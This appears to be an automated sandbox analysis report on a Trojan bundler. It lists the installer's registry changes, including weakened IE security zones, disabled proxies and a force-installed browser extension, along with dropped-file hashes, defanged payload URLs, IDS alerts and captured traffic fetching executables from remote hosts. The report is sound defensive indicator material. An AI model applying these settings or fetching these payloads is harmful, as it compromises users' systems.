[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 99 2C 50 EF 29 E5 E9 E8 4B 82 28 BD E8 5C C1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level" = ""

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level"

The process nsj1B.tmp:1168 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 57 86 F2 E2 83 EA 6C 0B 82 06 75 30 7E AF 51"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\nsj1B\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\nsj1B\DEBUG]
"Trace Level"

The process avg20.exe:284 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 D9 D6 06 40 A1 FC 6A BC EE 84 B8 F0 D2 44 FF"

The process tmp37.tmp.exe:2216 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "90 BF 74 63 5D E2 97 C2 CB 63 02 B8 EE 7D 98 92"

The process adv_128.exe:220 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0F 6F 35 12 98 6B 40 85 22 95 77 2E 75 1C D1 35"

[HKLM\SOFTWARE\Policies\Chromium\ExtensionInstallSources]
"1" = "http://ext.internetquickaccess.com/*"

[HKLM\SOFTWARE\Policies\Chromium\ExtensionInstallForcelist]
"1" = "pcjnhdkacfipfoicilllfabpbghiegpn;http://ext.internetquickaccess.com/extensions/internetquickaccess/updates.php?id=pcjnhdkacfipfoicilllfabpbghiegpn"

The process nsl5.tmp:972 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9D A0 6F AD 4F FA 0E EC BA D6 64 AE F7 2F EF 8E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsz25.tmp:928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 1B 2D 0D A6 4E CC FB C8 40 5A E1 70 E4 66 A2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\registry.dll,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\InstallPath\Status]
"OperaRUnew" = "M"

The process nsz25.tmp:252 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv28.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa2A.tmp\registry.dll,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\InstallPath\Status]
"OperaRUnew" = "S"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A C0 70 53 E8 77 6A 31 4B 51 73 1F AD 42 1C 4A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\InternetTurbo]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
65900d01bf13ed71406dd1ca1527cc86 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\avg20.exe
61339cd2c2c6fb527c33cab5df1ba6e3 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsg1E.tmp
f02155fa3e59a8fc48a74a236b2bb42e c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nshB.tmp\inetc.dll
b5adb704c95ab198b0538cc2af56f4bb c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsj1B.tmp
c3c4602aadfea9fa5c155995860d7cc1 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl5.tmp
d70820984ba4484885bf5c56ae44c4ec c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw16.tmp
a66865416d1330f1c571c12f4f8c2fea c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\7121923af824073a25b2b7e6ba0a6e0e[1].exe
65900d01bf13ed71406dd1ca1527cc86 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\SilentInstaller_dotnet4[1].exe
3eff59fc48dd082035f2c09e2d45b0f8 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\Bundle_OperaRUnew[1].exe
0a28d9ded5b7a6a917e04b8b826005c6 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\cmmdWriter[1].exe
900c797ab605bac6ba0de7e9aba3e7d7 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\YJHCp1[1].exe
61339cd2c2c6fb527c33cab5df1ba6e3 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\prepreinstaller_win[1].exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 23130 23552 4.44841 0bc2ffd32265a08d72b795b18265828d
.rdata 28672 4496 4608 3.59163 f179218a059068529bdb4637ef5fa28e
.data 36864 110488 1024 3.26405 975304d6dd6c4a4f076b15511e2bbbc0
.ndata 147456 1523712 0 0 d41d8cd98f00b204e9800998ecf8427e
.rsrc 1671168 1736 2048 2.02628 eafac4b8388172e7f0654718af6032f4

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
8681de5965d2fc28994a38d036db326d

URLs

URL IP
hxxp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com/ 54.197.255.255
hxxp://livestatscounter.com/Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst= 95.211.189.16
hxxp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe 54.192.14.188
hxxp://livestatscounter.com/SysInfo/validator/timer.php 95.211.189.16
hxxp://y9807akgtzcrolb.nidetafzy.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0
hxxp://y9807akgtzcrolb.nidetafzy.ru/api
hxxp://djapp.info/?file=bundle&v=2
hxxp://dm8f7nsnj8uw1.cloudfront.net/prepreinstaller_win.exe 216.137.59.92
hxxp://dm8f7nsnj8uw1.cloudfront.net/SilentInstaller_dotnet4.exe 216.137.59.92
hxxp://events.zmdpzqvftnsc.com/?p=cHViX2lkPTM1MyZzZXR1cF9pZD0xJmV4dHJhX3BhcmFtcz1TaWxlbnRJbnN0YWxsZXIgZ2xvYmFsIHN0YXJ0JmV2ZW50PTExJnNpZD02NjYmbWFjPTc3NyZhZHZfaWQ9MTI4JmJpdmVyc2lvbj0xLjg=
hxxp://json.zmdpzqvftnsc.com/?adv_id=128&domain=ZMDpzqvFtnSc.com&dotnet=4&event=2&file=installer&ip=52.1.45.42:80&pub_id=353&s=1&offer_version=1.8&dotnet=4&osver=5.1&lang=en&w64=0
hxxp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6ba0a6e0e.exe 216.137.59.73
hxxp://cds.r5q6q4j7.hwcdn.net/OperaRUnew/Bundle_OperaRUnew.exe
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/thankyou.php
hxxp://cuidu.sevential.ru/api
hxxp://www.downloadsoup.com/thankyou.php 54.243.109.165
hxxp://events.zmdpzqvftnsc.comhxxp://events.zmdpzqvftnsc.com/?p=cHViX2lkPTM1MyZzZXR1cF9pZD0xJmV4dHJhX3BhcmFtcz1TaWxlbnRJbnN0YWxsZXIgZ2xvYmFsIHN0YXJ0JmV2ZW50PTExJnNpZD02NjYmbWFjPTc3NyZhZHZfaWQ9MTI4JmJpdmVyc2lvbj0xLjg=
hxxp://www.djapp.info/?file=bundle&v=2 52.1.45.42
hxxp://cuidu.sevential.ru/aWRraml1dmt6Y3JqbnB4ZWN1cHV4aXh0ZGltcHJpeXN4Ynd7InNpZCI6IjYyNjIiLCJjb21wYW5pZXMiOnsiMTU1NCI6WzFdfSwic3ViX2lkIjoiMCIsInNpbGVudCI6IjEiLCJ2ZXIiOiIxIiwicm5kMCI6IjcyMzliNDUwYTY2YTVmNDgxNWRmNmQ1Y2MzOTc5MDViIn0
hxxp://www.software-forus.com/OperaRUnew/Bundle_OperaRUnew.exe 205.185.216.10
hxxp://json.zmdpzqvftnsc.comhxxp://json.zmdpzqvftnsc.com/?adv_id=128&domain=ZMDpzqvFtnSc.com&dotnet=4&event=2&file=installer&ip=52.1.45.42:80&pub_id=353&s=1&offer_version=1.8&dotnet=4&osver=5.1&lang=en&w64=0
d20ssor9owizgr.cloudfront.net 216.137.59.146
s3.amazonaws.com 54.231.48.99


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY Executable served from Amazon S3
ET MALWARE Possible Windows executable sent when remote host claims to send html content
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 115
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1726\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:03 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 126
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1727\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"tst=&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:03 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:03 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 177
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:04 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:04 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 190
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:15 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:15 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 181
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:15 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:15 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 194
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://livestatscounter.com/SysInfo/validator/timer.php&errorlevel=0&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:25 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:25 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
live..{"Status":"OK"}....


POST / HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com
Content-Length: 189
Connection: Keep-Alive
Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXps://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe&v=2\"}"}
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Tue, 22 Dec 2015 05:54:26 GMT
X-Powered-By: Express
Content-Length: 15
Connection: keep-alive
{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, 
X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *
..Content-Type: text/html; charset=utf-8..Date: Tue, 22 Dec 2015 05:54
:26 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-a
